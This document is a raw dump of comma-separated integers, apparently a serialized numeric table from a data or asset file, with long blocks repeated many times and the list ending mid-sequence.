5,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,25358,21538,42516,42516,42516,29996,42516,42516,26519,46446,25383,42516,42516,42516,42516,25736,28473,18232,21557,42516,42516,42516,27632,42516,42516,51474,21573,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,19060,21591,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,23074,23089,21619,21619,21619,21672,21614,21619,21624,23096,21640,21745,21688,21665,21655,21732,21703,21716,21040,42516,42516,42516,33326,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,21761,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,45317,42516,42516,42516,49458,21798,42516,22640,21804,25917,45316,42516,21821,21844,21828,21860,21869,21885,42516,42516,42516,29550,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,21901,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,21944,42516,42516,42516,48069,42516,42516,42516,26308,36543,25445,25454,21937,25455,21960,21985,21998,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,18888,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,26329,37275,42655,22014,22031,22014,22046,42653,22015,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,22071,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,26891,42516,42516,42516,48069,22092,42516,23653,22130,40293,22116,22186,22191,22191,22207,26888,44587,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,18247,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,35843,22232,22249,22232,22264,35841,22233,22289,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,46363,42516,33841,42516,34304,43899,22305,22071,36154,42516,42516,42516,42516,28243,22657,22322,22657,22657,22341,33347,46316,46316,39789,38147,35514,38147,38147,22359,22382,42516,42516,42516,42516,42516,28815,42516,22405,22426,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,47355,26569,42516,42516,42516,42516,42516,45225,42516,42516,32981,50880,22657,22657,22657,30360,22467,39622,46316,22501,46316,22343,36422,42625,38147,22520,38147,27826,41766,42516,42516,42516,42516,42516,49148,42516,23255,22657,44467,22657,22657,30361,22539,42077,46316,46316,46316,30525,38147,40186,38147,38147,34440,41769,42516,42516,20027,37487,42516,28242,22657,22657,36250,37745,46316,46316,44329,37798,38147,38147,43834,27827,30836,42516,42516,19405,22558,38368,22576,22657,40730,22597,46316,36583,22617,38147,40469,22638,42516,25905,42516,34153,22656,33064,46073,46316,22674,22710,27827,22690,51145,42516,32408,22729,37572,22752,32120,22683,29050,30609,22771,38961,22813,36803,22874,22893,22911,28238,43147,27775,22913,22451,22736,46400,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,50215,25917,42516,42516,42516,42516,42516,45715,23059,23112,42516,42516,42516,27632,42516,42516,37325,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,23128,46363,42516,42516,42516,34304,42516,42516,18360,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,22341,46316,46316,46316,39789,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,28815,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,23154,42516,42516,42516,46371,42516,42516,42516,42516,25917,35960,23175,23206,23195,23229,35959,23179,21040,42516,42516,42516,27632,42516,42516,51474,27227,42516,43023,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,23254,42516,42516,42516,48069,42516,42516,42516,19968,25917,42516,42516,42516,42516,42516,42762,23271,23302,42516,42516,42516,27632,42516,42516,21380,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,23318,46363,42516,42516,42516,34304,42516,42516,23344,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,22341,46316,46316,46316,39789,38147,38147,38147,38147,40896,23370,23409,42516,42516,42516,42516,38331,23429,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,23450,23383,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,50700,22540,46316,46316,46316,46316,47852,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,29796,22539,46316,46316,46316,46316,23533,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,48371,42516,42516,42516,31492,32078,42516,42516,23557,25917,18721,49121,23587,23594,23610,42516,43878,23635,23651,42516,42516,33439,23669,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,25038,24355,23991,25028,23804,18270,40105,18293,23688,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,23724,24084,23749,23789,24317,23827,23849,23904,24015,23917,23946,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,23969,24689,24310,25086,25092,23974,23990,24416,24845,24007,23833,24977,24993,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,24031,23930,24046,24073,24057,24100,24137,24664,24240,24198,24251,24225,24986,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,24267,24283,24299,24348,24333,24371,24167,24428,24402,23773,24444,24474,35639,19379,39467,19401,41728,19421,19500,24458,19544,24500,24558,24572,24588,24604,24182,24745,24620,24636,24767,19696,19712,19728,19753,19773,19830,19435,19514,24680,24514,19528,24705,24152,24757,19947,19984,20043,20080,20119,20157,20667,24542,24528,24731,24830,24209,24939,20235,20264,20301,24783,24799,24815,24715,24861,20381,20397,19814,23733,24877,24893,20503,25039,24968,23864,24927,24955,25015,20652,18443,23763,24386,25055,24651,25071,25108,25159,25175,25191,25243,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,27003,42516,42516,42516,48069,25296,42516,42516,25291,40518,25312,25320,25320,25320,25327,27168,25343,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25399,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,18963,25373,18652,18689,18711,18748,18695,25415,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,19337,25436,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,25471,25509,25525,20579,19301,19596,25541,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,25584,19614,19632,19650,25620,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,21541,28730,28739,28739,28739,28746,47533,25636,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,27653,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25687,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51268,23158,42516,42516,42516,48069,42516,42516,42516,42516,25917,22795,25710,25710,25710,25717,23159,22797,21040,25733,42516,42516,27632,42516,42516,51474,42516,42516,44769,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25752,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,26066,26075,42516,42516,42516,42907,42516,42516,42516,42516,25917,26405,25775,25775,25775,25782,28588,26407,25798,25814,42516,42516,27632,42516,42516,51474,42516,42516,23413,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25831,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,25857,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,25891,42516,42516,42516,42516,48069,25942,42516,42516,28970,33768,42516,42516,42516,25933,25960,26180,25944,25980,42516,42516,42516,27632,42516,42516,51474,27927,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,25996,26028,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,42516,42516,42516,42516,42516,41865,26051,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,26178,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,23464,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,